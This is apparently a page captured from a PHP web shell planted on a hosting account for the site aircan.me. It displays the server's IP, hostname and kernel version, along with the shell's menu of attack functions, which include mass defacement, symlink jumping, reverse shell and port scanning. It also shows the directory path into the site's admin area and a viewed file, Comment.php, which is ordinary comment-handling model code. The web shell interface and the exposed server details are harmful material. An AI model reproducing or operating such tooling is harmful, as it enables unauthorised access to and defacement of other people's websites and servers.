Tul xxx Tul
User / IP
:
216.73.216.183
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
construcciones
/
admin
/
app
/
Models
/
Viewing: Comment.php
<?php class Comment extends BaseModel { protected string $table = 'comments'; protected array $fillable = [ 'name', 'email', 'phone', 'message', 'rating', 'status', 'is_featured', 'admin_reply', 'ip_address', 'user_agent', 'created_at', 'updated_at', 'deleted_at', ]; public function getAll(array $filters = []): array { $sql = 'SELECT * FROM comments WHERE deleted_at IS NULL'; $params = []; if (!empty($filters['status'])) { $sql .= ' AND status = :status'; $params['status'] = $filters['status']; } if (!empty($filters['rating'])) { $sql .= ' AND rating = :rating'; $params['rating'] = (int) $filters['rating']; } if (!empty($filters['search'])) { $sql .= ' AND (name LIKE :search OR email LIKE :search)'; $params['search'] = '%' . $filters['search'] . '%'; } $sql .= ' ORDER BY name ASC'; $statement = $this->db->prepare($sql); $statement->execute($params); return $statement->fetchAll(); } public function getById(int $id): ?array { $statement = $this->db->prepare('SELECT * FROM comments WHERE id = :id AND deleted_at IS NULL LIMIT 1'); $statement->execute(['id' => $id]); return $statement->fetch() ?: null; } public function createComment(array $data): int { return $this->create($data); } public function approve(int $id): bool { return $this->update($id, ['status' => 'aprobado', 'updated_at' => date('Y-m-d H:i:s')]); } public function reject(int $id): bool { return $this->update($id, ['status' => 'rechazado', 'updated_at' => date('Y-m-d H:i:s')]); } public function softDelete(int $id): bool { return $this->update($id, ['deleted_at' => date('Y-m-d H:i:s')]); } public function addReply(int $id, string $reply): bool { return $this->update($id, ['admin_reply' => $reply, 'updated_at' => date('Y-m-d H:i:s')]); } public function toggleFeatured(int $id): bool { $comment = $this->getById($id); if (!$comment) return false; return $this->update($id, ['is_featured' => $comment['is_featured'] ? 0 : 1]); } public function approved(): array { $statement = $this->db->query("SELECT name, message, rating, admin_reply, created_at FROM comments WHERE deleted_at IS NULL AND status = 'aprobado' ORDER BY is_featured DESC, created_at DESC"); return $statement->fetchAll(); } public function recentFromIp(string $ip, int $seconds = 30): bool { $statement = $this->db->prepare('SELECT COUNT(*) FROM comments WHERE ip_address = :ip AND created_at >= DATE_SUB(NOW(), INTERVAL :seconds SECOND)'); $statement->bindValue(':ip', $ip); $statement->bindValue(':seconds', $seconds, PDO::PARAM_INT); $statement->execute(); return (int) $statement->fetchColumn() > 0; } }
Coded With 💗 by
0x6ick